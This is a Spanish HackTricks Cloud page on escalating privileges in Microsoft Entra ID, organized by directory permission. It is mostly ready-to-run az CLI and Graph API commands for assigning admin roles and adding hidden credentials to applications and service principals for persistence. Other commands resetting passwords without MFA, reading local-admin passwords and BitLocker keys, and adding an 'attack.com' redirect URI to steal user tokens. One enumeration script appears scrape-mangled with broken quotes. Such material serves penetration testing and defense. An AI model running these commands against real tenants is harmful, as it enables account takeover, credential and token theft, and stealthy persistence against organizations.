Az - EntraID Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Note
Ten en cuenta que no todos los permisos granulares que tienen los roles integrados en Entra ID son elegibles para usarse en roles personalizados.
Roles
Role: Privileged Role Administrator
Este role contiene los permisos granulares necesarios para poder asignar roles a principals y dar más permisos a roles. Ambas acciones podrían abusarse para escalar privilegios.
- Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Agregar más permisos a un role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
Esto permite a un atacante agregar credenciales (passwords o certificates) a applications existentes. Si la application tiene privileged permissions, el atacante puede autenticarse como esa application y obtener esos privileges.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Esto permite las mismas acciones que applications/credentials/update, pero limitado a aplicaciones de un solo directorio.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Al agregarse a sí mismos como owner, un atacante puede manipular la application, incluyendo credentials y permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un atacante puede agregar un redirect URI a aplicaciones que están siendo usadas por usuarios del tenant y luego compartir con ellos login URLs que usan el nuevo redirect URL para robar sus tokens. Ten en cuenta que si el usuario ya estaba logged in en la application, la authentication va a ser automática sin que el usuario necesite aceptar nada.
Ten en cuenta que también es posible cambiar los permissions que la application solicita para obtener más permissions, pero en este caso el usuario tendrá que aceptar de nuevo el prompt que pide todos los permissions.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Escalada de Privilegios de Applications
Como se explica en this post era muy común encontrar applications predeterminadas que tienen API permissions de tipo Application asignados. Un API Permission (como se llama en la consola de Entra ID) de tipo Application significa que la application puede acceder a la API y realizar acciones sin un user context (sin que un user inicie sesión en la app), y sin necesitar roles de Entra ID para permitirlo. Por lo tanto, es muy común encontrar applications con altos privilegios en cada tenant de Entra ID.
Entonces, si un attacker tiene cualquier permission/role que permita actualizar las credentials (secret o certificate) de la application, el attacker puede generar una nueva credential y luego usarla para authenticate como la application, obteniendo todos los permissions que tiene la application.
Ten en cuenta que el blog mencionado comparte algunas API permissions de common Microsoft default applications; sin embargo, algún tiempo después de este report Microsoft corrigió este issue y ahora ya no es posible login como Microsoft applications. No obstante, todavía es posible encontrar custom applications con altos privilegios que podrían ser abused.
Cómo enumerar las API permissions de una application:
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encuentra todos los permisos API de las aplicaciones y marca las APIs propiedad de Microsoft
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
## Service Principals
### `microsoft.directory/servicePrincipals/credentials/update`
Esto permite a un atacante agregar credentials a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
```bash
az ad sp credential reset --id <sp-id> --append
Caution
La nueva contraseña generada no aparecerá en la consola web, así que esto podría ser una forma sigilosa de mantener persistencia sobre un service principal.
Desde la API se pueden encontrar con:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permita ejecutar:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Esto permite a un atacante añadir credenciales a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Al igual que con applications, este permiso permite agregar más owners a un service principal. Ser owner de un service principal permite controlar sus credentials y permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Después de agregar un nuevo owner, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, aunque es el método que necesitas usar para eliminar el owner. Así que no puedes eliminar owners actualmente.
microsoft.directory/servicePrincipals/disable and enable
Estos permissions permiten deshabilitar y habilitar service principals. Un attacker podría usar este permission para habilitar un service principal al que pudiera acceder de alguna manera para escalar privileges.
Ten en cuenta que para esta technique el attacker necesitará más permissions para poder tomar control del service principal habilitado.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Estos permisos permiten crear y obtener credenciales para single sign-on, lo que podría permitir acceso a aplicaciones de terceros.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Groups
microsoft.directory/groups/allProperties/update
Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a una escalada de privilegios.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye grupos asignables a roles de Entra ID.
microsoft.directory/groups/owners/update
Este permiso permite convertirse en owner de grupos. Un owner de un grupo puede controlar la membresía y la configuración del grupo, potencialmente escalando privilegios al grupo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye los grupos asignables a roles de Entra ID.
microsoft.directory/groups/members/update
Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Este permiso excluye Entra ID role-assignable groups.
Dynamic Groups Privesc
Podría ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de dynamic groups. Para más información, revisa:
Users
microsoft.directory/users/password/update
Este permiso permite reset password a usuarios no admin, permitiendo a un posible atacante escalar privilegios a otros usuarios. Este permiso no puede ser asignado a custom roles.
# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"
# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"
microsoft.directory/users/basic/update
Este privilegio permite modificar las propiedades del user. Es común encontrar dynamic groups que añaden users según los valores de las propiedades, por lo tanto, este permiso podría permitir a un user establecer el valor de la propiedad necesaria para ser miembro de un specific dynamic group y escalar privilegios.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Políticas de Conditional Access y bypass de MFA
Las políticas de conditional access mal configuradas que requieren MFA podrían ser bypassed, revisa:
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
Este permiso permite a attackers asignarse a sí mismos como owners de dispositivos para ganar control o acceso a configuraciones y datos específicos del device.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Este permiso permite a los attackers leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Otros permisos interesantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

